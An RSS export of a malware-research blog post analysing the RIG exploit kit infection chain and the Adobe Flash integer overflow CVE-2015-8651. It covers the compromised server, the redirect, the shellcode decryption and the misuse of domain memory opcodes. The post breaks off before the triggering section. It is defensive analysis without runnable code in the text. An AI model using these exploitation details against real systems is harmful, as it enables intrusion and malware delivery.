<?xml version='1.0' encoding='UTF-8'?><rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearchrss/1.0/" xmlns:blogger="http://schemas.google.com/blogger/2008" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" version="2.0"><channel><atom:id>tag:blogger.com,1999:blog-7570290518879810718</atom:id><lastBuildDate>Mon, 07 Oct 2024 03:57:18 +0000</lastBuildDate><category>APT and Targeted Attacks</category><category>Botnet Research</category><category>Vulnerability and Exploit Research</category><category>Malware Techniques</category><category>Exploit Development Tutorial Series</category><category>Miscellaneous</category><title>Malicious code Analysis and Research</title><description>Digging deep inside the malicious code</description><link>http://extreme-security.blogspot.com/</link><managingEditor>noreply@blogger.com (Chintan Shah)</managingEditor><generator>Blogger</generator><openSearch:totalResults>27</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7570290518879810718.post-2667285702790785348</guid><pubDate>Thu, 18 May 2017 05:10:00 +0000</pubDate><atom:updated>2019-02-04T15:51:14.730+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">Vulnerability and Exploit Research</category><title>Inside the RIG Exploit Kit Infection Chain and Adobe Flash Vulnerability CVE-2015-8651 ..!!</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
We recently observed RIG exploit kit delivering Adobe Flash exploit that takes the advantage of Integer overflow vulnerability CVE-2015-8651 in the Adobe Flash and delivering the malware on the infected system. I got the opportunity to analyze the Rig exploit kit infection chain and the delivered exploit.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;b&gt;&lt;u&gt;Infection Chain of Rig Exploit Kit&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
&lt;span style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;text-align: justify;&quot;&gt;Infection starts when user accesses the link which initiates the “GET” request to “signup1.php” to the IP: 194.58.40.252. Current Whois information of this IP reveals that this server is hosted in Russian Federation&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh5wJoWJ0HyyxZ5tXBGCv6sBt90XwQJ1BX9d9xGE4B_3ajpKeEivVWYcjnxujuDk_wGMNsua4zzO4zAK75K7Zx9uPK1AAM-13Sg5Tllmfa3lxBJ9V-rIj3hkSZPXavIrp3CRTG_yEVbOMU/s1600/1.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;560&quot; data-original-width=&quot;779&quot; height=&quot;287&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh5wJoWJ0HyyxZ5tXBGCv6sBt90XwQJ1BX9d9xGE4B_3ajpKeEivVWYcjnxujuDk_wGMNsua4zzO4zAK75K7Zx9uPK1AAM-13Sg5Tllmfa3lxBJ9V-rIj3hkSZPXavIrp3CRTG_yEVbOMU/s400/1.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
This web server was compromised which possibly would have been a part of the malvertising campaign, and the page was modified to inject the malicious iframe which would redirect the browser to the Exploit kit landing page.&amp;nbsp;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEaOfEs2tNEaWlV7QrKhyk8dUrXnQBOyEfSXBGN_89fK5hYfynDC0DBJwlMIHl4eOttUJmO6cr2DuIxL6ZuogvMWT1zVSzCp4OVAPtoSRcIZEoXVvT2qCRHABypogERzJypcmk6oooQWg/s1600/2.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;414&quot; data-original-width=&quot;1027&quot; height=&quot;160&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEaOfEs2tNEaWlV7QrKhyk8dUrXnQBOyEfSXBGN_89fK5hYfynDC0DBJwlMIHl4eOttUJmO6cr2DuIxL6ZuogvMWT1zVSzCp4OVAPtoSRcIZEoXVvT2qCRHABypogERzJypcmk6oooQWg/s400/2.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Once the Browser is redirected to the landing page, server responds with the obfuscated JavaScript. Purpose of the JavaScript is most likely to determine the type and version&amp;nbsp; of the browser running according to which the exploit will be delivered in subsequent stage.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-G0ya3NvtWoBQTxZEBe8GaVMlqZt8C1s-CoCqSU4OyRhc-TKSPUIH3cAKbua0suzFPPbS-2cr133PO7tYwAeNPkyiRd0Nv1eepQoNuooTtW3ie8KP5VjEL1ws0pd2FhHMl4GIpprr1So/s1600/3.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;598&quot; data-original-width=&quot;1041&quot; height=&quot;228&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-G0ya3NvtWoBQTxZEBe8GaVMlqZt8C1s-CoCqSU4OyRhc-TKSPUIH3cAKbua0suzFPPbS-2cr133PO7tYwAeNPkyiRd0Nv1eepQoNuooTtW3ie8KP5VjEL1ws0pd2FhHMl4GIpprr1So/s400/3.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
Below is the&amp;nbsp; part of the Deobfuscated JavaScript that contains the URL to request the flash&amp;nbsp; exploit from the hosting server.&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSDe_gyI8Z8xOelBB5JdKweTpJuJkTZVghzuDu3cZrv0SrejM8FHdOUTM40HWtJOug5xrLu6HAgKTICjKF4t5FodBxyf7XZ2Ip3rfkblroTyboMe37KoGid7vloAIZHdrUpxj_aI5SsZU/s1600/4.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;386&quot; data-original-width=&quot;1050&quot; height=&quot;146&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSDe_gyI8Z8xOelBB5JdKweTpJuJkTZVghzuDu3cZrv0SrejM8FHdOUTM40HWtJOug5xrLu6HAgKTICjKF4t5FodBxyf7XZ2Ip3rfkblroTyboMe37KoGid7vloAIZHdrUpxj_aI5SsZU/s400/4.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Subsequently, the Flash exploit is delivered to the victim machine that exploits the Adobe flash vulnerability. Below communication with the server depicts the clear picture of the flash file being delivered to the user.&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6YTHwsXBIwS1GGjw_qv7DeY-zCIENfHJUkBtcoztD7od1bNN6Ne13DFd85TSh71NwZDL84udp6EQ560RXJG3-nOaGfp7qz2s9_D-tlFoICNImLJIBq3QaNIcWRg-eD0MpyZ6_yrm8bX8/s1600/5.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;515&quot; data-original-width=&quot;987&quot; height=&quot;207&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6YTHwsXBIwS1GGjw_qv7DeY-zCIENfHJUkBtcoztD7od1bNN6Ne13DFd85TSh71NwZDL84udp6EQ560RXJG3-nOaGfp7qz2s9_D-tlFoICNImLJIBq3QaNIcWRg-eD0MpyZ6_yrm8bX8/s400/5.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;text-align: justify;&quot;&gt;Flash exploit triggers CVE 2015-8651 vulnerability post which the encrypted payload embedded in the flash file is executed.&lt;/span&gt;&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZyDuU7XvtT9vikDGMc_NCtr5bLUwQmdP_TuCquTDhxux2qVxDPBbAllREhnJBFIZzMQRhwSAjWRS-Zq9mPBt34PfZdDSMbB5yfgg5UcYTKbTqngm8QHBXA5rtzvUWIeSMZg0PUEKC20Q/s1600/6.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;562&quot; data-original-width=&quot;987&quot; height=&quot;227&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZyDuU7XvtT9vikDGMc_NCtr5bLUwQmdP_TuCquTDhxux2qVxDPBbAllREhnJBFIZzMQRhwSAjWRS-Zq9mPBt34PfZdDSMbB5yfgg5UcYTKbTqngm8QHBXA5rtzvUWIeSMZg0PUEKC20Q/s400/6.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Below picturizes the entire infection cycle of the Rig exploit kit.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjb-CPivsYa7LkIdXlVobHphLYLZdabAO4dRoesqgRA70ZBfDtS5VMpzkFBO7sx_FSfm_8ZHHPQTWsFRNW2_7YK09mk7lFN52XOGXljcr8bV92mWpl11BGUBGNmkdo9-BP2Nl5bB7U4iqM/s1600/7.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;747&quot; data-original-width=&quot;680&quot; height=&quot;400&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjb-CPivsYa7LkIdXlVobHphLYLZdabAO4dRoesqgRA70ZBfDtS5VMpzkFBO7sx_FSfm_8ZHHPQTWsFRNW2_7YK09mk7lFN52XOGXljcr8bV92mWpl11BGUBGNmkdo9-BP2Nl5bB7U4iqM/s400/7.png&quot; width=&quot;362&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b&gt;&lt;u&gt;Vulnerability exploited and the root cause&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Vulnerability exploited by the delivered flash exploit:&amp;nbsp; CVE 2015-8651. This vulnerability is due to the&amp;nbsp;Integer overflow in Intrinsics Memory / Fast Memory opcode generation by ActionScript Virtual Machine JIT compiler.&lt;/div&gt;
&lt;br /&gt;
&lt;u&gt;&lt;i&gt;&lt;b&gt;Analysis of the exploit:&lt;/b&gt;&lt;/i&gt;&lt;/u&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Execution of the ActionScript starts with the Init() method as show below which passes&amp;nbsp; &amp;nbsp;“-1820302793” which is 0x93806237 as the argument in the method_10 of the class 3 , where it gets XORED with the var_7 which is set in the method_1 by reading 32 bit Unsigned Integer from the ByteArray Class. The returned value is a string in which “QWERTY” is then replaced with “E” and subsequently appended to the var_209 . This resultant string is then stored in _loc_5_&amp;nbsp; which stores the decrypted shellcode and passed as the parameter to the sdfghfghfgj() function where ultimately exploit is triggered .&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEilGhtia0E6yWiZw0elLeoyIw4kcqls-okspefdJiwobLIi3OHBfiyryWvecyf8lG3DvChl516QPgrcjPGKWiqrzUB1eMvQLnAoEwZTowqk7rcVzfmKJSKlryda7T9c7QKajVxjDWElrAQ/s1600/8.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;622&quot; data-original-width=&quot;924&quot; height=&quot;268&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEilGhtia0E6yWiZw0elLeoyIw4kcqls-okspefdJiwobLIi3OHBfiyryWvecyf8lG3DvChl516QPgrcjPGKWiqrzUB1eMvQLnAoEwZTowqk7rcVzfmKJSKlryda7T9c7QKajVxjDWElrAQ/s400/8.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjz22j13r2b_1szBdh5fvMJ_tZ9alM2dCU43sbBWKe2X9CB-XNF-PlpCES5BfUMI9BR_yo1caLgp559nNm5_dAX9tEWFlohRdiBiW8QlfaZ4xRUkyLPNY_CddJF1T5gAXfFxdM3aqae3oQ/s1600/9.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; display: inline !important; margin-bottom: 1em; margin-right: 1em; text-align: center;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;340&quot; data-original-width=&quot;924&quot; height=&quot;146&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjz22j13r2b_1szBdh5fvMJ_tZ9alM2dCU43sbBWKe2X9CB-XNF-PlpCES5BfUMI9BR_yo1caLgp559nNm5_dAX9tEWFlohRdiBiW8QlfaZ4xRUkyLPNY_CddJF1T5gAXfFxdM3aqae3oQ/s400/9.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Function sdfghfghfgj() is the one that initiates the vulnerability triggering flow . This function calls the run () function internally which in turn executes the vulnerability check function “is_vuln()’ . Latter checks for the Windows version, flash versions and then prepares to triggers the vulnerability, and eventually triggers Integer overflow by calling the method get_big_ba()&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh92GptHI8W0OFSDbtuEWcdqAekmkt5CYlSb_dBJDGlA3AwXiBS4Aw5noi-Gaic03M-JugFZf9sHmWnCQQF5fVArH3Omk4wx8jPf7cUBPA-YZz0K2sfBoh2wZirPtrME3X-J90e_yiy3wY/s1600/10.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;665&quot; data-original-width=&quot;946&quot; height=&quot;280&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh92GptHI8W0OFSDbtuEWcdqAekmkt5CYlSb_dBJDGlA3AwXiBS4Aw5noi-Gaic03M-JugFZf9sHmWnCQQF5fVArH3Omk4wx8jPf7cUBPA-YZz0K2sfBoh2wZirPtrME3X-J90e_yiy3wY/s400/10.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgM3o4FHdhmAXCeSaofsPmhZPREnGLAHLjgrVi6G3Br8XtXgZjB9TKvwBcQIfIGPHq0hQJicGHMc4y42RkIaEL5TLCviedvWcdKpfa3jw2XaL-qi-lwz3h5pmC7r5JJIbZNbq5mCYHPE2A/s1600/11.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; display: inline !important; margin-bottom: 1em; margin-right: 1em; text-align: center;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;354&quot; data-original-width=&quot;510&quot; height=&quot;277&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgM3o4FHdhmAXCeSaofsPmhZPREnGLAHLjgrVi6G3Br8XtXgZjB9TKvwBcQIfIGPHq0hQJicGHMc4y42RkIaEL5TLCviedvWcdKpfa3jw2XaL-qi-lwz3h5pmC7r5JJIbZNbq5mCYHPE2A/s400/11.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
As indicated earlier, function sdfghfghfgj() creates the instance of the class “world” which calls the prepare() method in the constructor to check for the following :&lt;br /&gt;
-&lt;span style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Debug version checks&lt;br /&gt;
-&lt;span style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Determine the flash player type&lt;br /&gt;
-&lt;span style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Get the flash player version&lt;br /&gt;
-&lt;span style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Get the OS type&lt;br /&gt;
Below is the code snippet performing above mentioned checks.&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRw3MyyP-iXWnzHin05ykX9Z7WoxIUCF0gpGKDJ0ZZDZ9RkhcaD6oaf13kh2hSH-mEIr23la-a4SKl9OaMQ1G2tLvw8X1ymloPd3pU8tXulCYyQyQSqjNbrHWs888cXFxwoABGhl4XND8/s1600/12.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;364&quot; data-original-width=&quot;637&quot; height=&quot;227&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRw3MyyP-iXWnzHin05ykX9Z7WoxIUCF0gpGKDJ0ZZDZ9RkhcaD6oaf13kh2hSH-mEIr23la-a4SKl9OaMQ1G2tLvw8X1ymloPd3pU8tXulCYyQyQSqjNbrHWs888cXFxwoABGhl4XND8/s400/12.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;u&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/u&gt;&lt;/div&gt;
&lt;u&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/u&gt;
&lt;u&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/u&gt;
&lt;u&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/u&gt;
&lt;u&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/u&gt;
&lt;u&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/u&gt;
&lt;u&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/u&gt;
&lt;u&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/u&gt;
&lt;u&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/u&gt;
&lt;u&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/u&gt;
&lt;u&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/u&gt;
&lt;u&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/u&gt;
&lt;u&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/u&gt;
&lt;u&gt;&lt;i&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/i&gt;&lt;/u&gt;
&lt;u&gt;&lt;i&gt;&lt;b&gt;Vulnerability:&lt;/b&gt;&lt;/i&gt;&lt;/u&gt;&lt;br /&gt;
&lt;u&gt;&lt;i&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/i&gt;&lt;/u&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Adobe implemented a feature in the Adobe Flash Player called “DomainMemory” which was primarily used by developers to gain the fast read and write access to the domain memory. Domain memory opcodes are provided by the package avm2.intrinsics. memory. This&amp;nbsp; package provides the methods to load / store integers to byte streams like ByteArrays. Integer overflow vulnerability lies in the way these Domain Memory opcodes are generated by Action Script Compiler (ASC). As seen below, Flash exploit imports these packages and specifically li32 and si32 which is used to load and store 32-bit unsigned integers into the memory.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9pHJ2sg9vAjo19q4vFIhi39s8_m3BqXYy9eRoYCInIrZXTnBixMizRY7xIyf7olMxVH80nqpFSB5begQhdMLwj4bHGZc_TqvxvjkLcA80DkWT436ltv2JLQILMHeoK1HbDQRVxv79z0A/s1600/13.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;209&quot; data-original-width=&quot;512&quot; height=&quot;162&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9pHJ2sg9vAjo19q4vFIhi39s8_m3BqXYy9eRoYCInIrZXTnBixMizRY7xIyf7olMxVH80nqpFSB5begQhdMLwj4bHGZc_TqvxvjkLcA80DkWT436ltv2JLQILMHeoK1HbDQRVxv79z0A/s400/13.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Below is the documented list of Domain Memory opcodes provided for faster read and write access to ByteArrays.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjK9srY0hHOHbROWLQrjgv_WF7Bikzx0P2_Ozy2aCrTIrrFIc6tL8mH0sDbNBHbFQjG68MBg2X_Qn3W6LezKwm3R9NboV-aJfzqZ8t3Ufcnl2EDElIf5cf4t6W-tYK8A8K1GvaFrPF6MJ4/s1600/13.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;470&quot; data-original-width=&quot;524&quot; height=&quot;358&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjK9srY0hHOHbROWLQrjgv_WF7Bikzx0P2_Ozy2aCrTIrrFIc6tL8mH0sDbNBHbFQjG68MBg2X_Qn3W6LezKwm3R9NboV-aJfzqZ8t3Ufcnl2EDElIf5cf4t6W-tYK8A8K1GvaFrPF6MJ4/s400/13.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Vulnerability existing in these si32 and li32 domain memory opcodes allows the attacker to perform arbitrary read and writes into the memory.&lt;br /&gt;
&lt;br /&gt;
&lt;u&gt;&lt;i&gt;&lt;b&gt;Triggering the Integer Overflow:&lt;/b&gt;&lt;/i&gt;&lt;/u&gt;&lt;br /&gt;
&lt;u&gt;&lt;i&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/i&gt;&lt;/u&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
